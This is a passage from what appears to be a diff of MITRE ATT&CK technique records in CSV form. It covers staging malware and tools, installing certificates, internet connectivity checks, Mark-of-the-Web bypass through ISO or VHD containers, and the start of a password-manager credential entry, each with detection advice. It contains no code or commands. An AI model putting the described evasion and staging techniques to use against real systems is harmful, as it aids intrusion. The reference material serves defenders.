[Drive-by Compromise](https://attack.mitre.org/techniques/T1189).",attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9,attack-pattern,['resource-development'],2021-04-27T17:52:55.302Z,2021-03-17T20:33:20.127Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1608.003', 'url': 'https://attack.mitre.org/techniques/T1608/003'}, {'source_name': 'DigiCert Install SSL Cert', 'url': 'https://www.digicert.com/kb/ssl-certificate-installation.htm', 'description': 'DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.'}, {'source_name': 'Splunk Kovar Certificates 2017', 'url': 'https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html', 'description': 'Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1608/003,mitre-attack,T1608.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Install Digital Certificate,"Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert) +Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).",['resource-development'],https://attack.mitre.org/techniques/T1608/004,mitre-attack,T1608.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1608/003', 'external_id': 'T1608.003'}, {'source_name': 'DigiCert Install SSL Cert', 'description': 'DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.', 'url': 'https://www.digicert.com/kb/ssl-certificate-installation.htm'}, {'source_name': 'Splunk Kovar Certificates 2017', 'description': 'Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.', 'url': 'https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html'}]",1.1,attack-pattern,attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-17T20:32:13.793Z,2021-10-16T17:47:46.409Z,Install Digital Certificate,"Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert) Adversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. -Adversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).",attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069,attack-pattern,['resource-development'],2021-04-26T18:43:18.448Z,2021-03-17T20:32:13.793Z,"Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) +Adversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).",['resource-development'],https://attack.mitre.org/techniques/T1608/003,mitre-attack,T1608.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) -Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1608.002', 'url': 'https://attack.mitre.org/techniques/T1608/002'}, {'source_name': 'Dell TG-3390', 'description': 'Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.', 'url': 'https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1608/002,mitre-attack,T1608.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Upload Tool,"Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. +Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1608/002', 'external_id': 'T1608.002'}, {'source_name': 'Dell TG-3390', 'description': 'Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.', 'url': 'https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage'}]",1.1,attack-pattern,attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-17T20:31:07.828Z,2021-10-17T16:25:37.072Z,Upload Tool,"Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. Tools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo. -Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.",attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d,attack-pattern,['resource-development'],2021-04-26T18:41:37.444Z,2021-03-17T20:31:07.828Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1608.001', 'url': 'https://attack.mitre.org/techniques/T1608/001'}, {'source_name': 'Volexity Ocean Lotus November 2020', 'url': 'https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/', 'description': 'Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1608/001,mitre-attack,T1608.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Upload Malware,"Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. +Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.",['resource-development'],https://attack.mitre.org/techniques/T1608/002,mitre-attack,T1608.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1608/001', 'external_id': 'T1608.001'}, {'source_name': 'Volexity Ocean Lotus November 2020', 'description': 'Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.', 'url': 'https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/'}]",1.1,attack-pattern,attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-17T20:09:13.222Z,2021-10-17T16:24:48.949Z,Upload Malware,"Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020) -Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.",attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e,attack-pattern,['resource-development'],2021-04-26T18:40:15.732Z,2021-03-17T20:09:13.222Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).",,"['Kobi Haimovich, CardinalOps']",,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1608', 'url': 'https://attack.mitre.org/techniques/T1608'}, {'source_name': 'Volexity Ocean Lotus November 2020', 'url': 'https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/', 'description': 'Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.'}, {'source_name': 'FireEye CFR Watering Hole 2012', 'url': 'https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html', 'description': 'Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.'}, {'source_name': 'Gallagher 2015', 'description': 'Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016.', 'url': 'http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/'}, {'source_name': 'ATT ScanBox', 'url': 'https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks', 'description': 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.'}, {'source_name': 'Malwarebytes Silent Librarian October 2020', 'url': 'https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/', 'description': 'Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.'}, {'source_name': 'Proofpoint TA407 September 2019', 'url': 'https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian', 'description': 'Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.'}, {'source_name': 'DigiCert Install SSL Cert', 'url': 'https://www.digicert.com/kb/ssl-certificate-installation.htm', 'description': 'DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,False,https://attack.mitre.org/techniques/T1608,mitre-attack,T1608,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Stage Capabilities,"Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020) +Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.",['resource-development'],https://attack.mitre.org/techniques/T1608/001,mitre-attack,T1608.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Kobi Haimovich, CardinalOps']",['Internet Scan: Response Content'],,"If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1608', 'external_id': 'T1608'}, {'source_name': 'Volexity Ocean Lotus November 2020', 'description': 'Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.', 'url': 'https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/'}, {'source_name': 'FireEye CFR Watering Hole 2012', 'description': 'Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html'}, {'source_name': 'Gallagher 2015', 'description': 'Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016.', 'url': 'http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/'}, {'source_name': 'ATT ScanBox', 'description': 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.', 'url': 'https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks'}, {'source_name': 'Malwarebytes Silent Librarian October 2020', 'description': 'Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.', 'url': 'https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/'}, {'source_name': 'Proofpoint TA407 September 2019', 'description': 'Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.', 'url': 'https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian'}, {'source_name': 'DigiCert Install SSL Cert', 'description': 'DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.', 'url': 'https://www.digicert.com/kb/ssl-certificate-installation.htm'}]",1.1,attack-pattern,attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-17T20:04:09.331Z,2021-10-17T16:28:41.815Z,Stage Capabilities,"Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020) Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox) * Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) * Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020) -* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)",attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0,attack-pattern,['resource-development'],2021-04-27T19:01:22.653Z,2021-03-17T20:04:09.331Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1016.001', 'url': 'https://attack.mitre.org/techniques/T1016/001'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.0,True,https://attack.mitre.org/techniques/T1016/001,mitre-attack,T1016.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Internet Connection Discovery,"Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites. +* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)",['resource-development'],https://attack.mitre.org/techniques/T1608,mitre-attack,T1608,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities. -Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.",attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc,attack-pattern,['discovery'],2021-03-25T17:03:26.632Z,2021-03-17T15:28:10.689Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.",False,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1016/001', 'external_id': 'T1016.001'}]",1.0,attack-pattern,attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-17T15:28:10.689Z,2021-03-25T17:03:26.632Z,Internet Connection Discovery,"Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites. -Monitor processes and command-line arguments for actions that could be taken to check Internet connectivity.","['Process: Process Creation', 'Command: Command Execution']",,,['User'],"['Windows', 'Linux', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1553.005', 'url': 'https://attack.mitre.org/techniques/T1553/005'}, {'source_name': 'Microsoft Zone.Identifier 2020', 'url': 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8', 'description': 'Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021.'}, {'source_name': 'Beek Use of VHD Dec 2020', 'url': 'https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316', 'description': 'Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved February 22, 2021.'}, {'source_name': 'Outflank MotW 2020', 'url': 'https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/', 'description': 'Hegt, S. (2020, March 30). Mark-of-the-Web from a red team’s perspective. Retrieved February 22, 2021.'}, {'source_name': 'Intezer Russian APT Dec 2020', 'url': 'https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/', 'description': ""Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021.""}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1553/005,mitre-attack,T1553.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Mark-of-the-Web Bypass,"Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020) +Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.",['discovery'],https://attack.mitre.org/techniques/T1016/001,mitre-attack,T1016.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained. -Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)",attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961,attack-pattern,['defense-evasion'],2021-04-13T22:47:08.289Z,2021-02-22T14:20:31.650Z,"Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.","['File: File Creation', 'File: File Metadata']","['Christiaan Beek, @ChristiaanBeek']","['Anti-virus, Application control']",['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1555.005', 'url': 'https://attack.mitre.org/techniques/T1555/005'}, {'source_name': 'ise Password Manager February 2019', 'url': 'https://www.ise.io/casestudies/password-manager-hacking/', 'description': 'ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021.'}, {'source_name': 'FoxIT Wocao December 2019', 'url': 'https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf', 'description': 'Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.'}, {'source_name': 'Github KeeThief', 'url': 'https://github.com/GhostPack/KeeThief', 'description': 'Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8, 2021.'}, {'source_name': 'NVD CVE-2019-3610', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2019-3610', 'description': 'National Vulnerability Database. (2019, October 9). CVE-2019-3610 Detail. Retrieved April 14, 2021.'}, {'source_name': 'Cyberreason Anchor December 2019', 'url': 'https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware', 'description': 'Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1555/005,mitre-attack,T1555.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Password Managers,"Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019) +Monitor processes and command-line arguments for actions that could be taken to check Internet connectivity.",True,['User'],"['Windows', 'Linux', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1553/005', 'external_id': 'T1553.005'}, {'source_name': 'Microsoft Zone.Identifier 2020', 'description': 'Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021.', 'url': 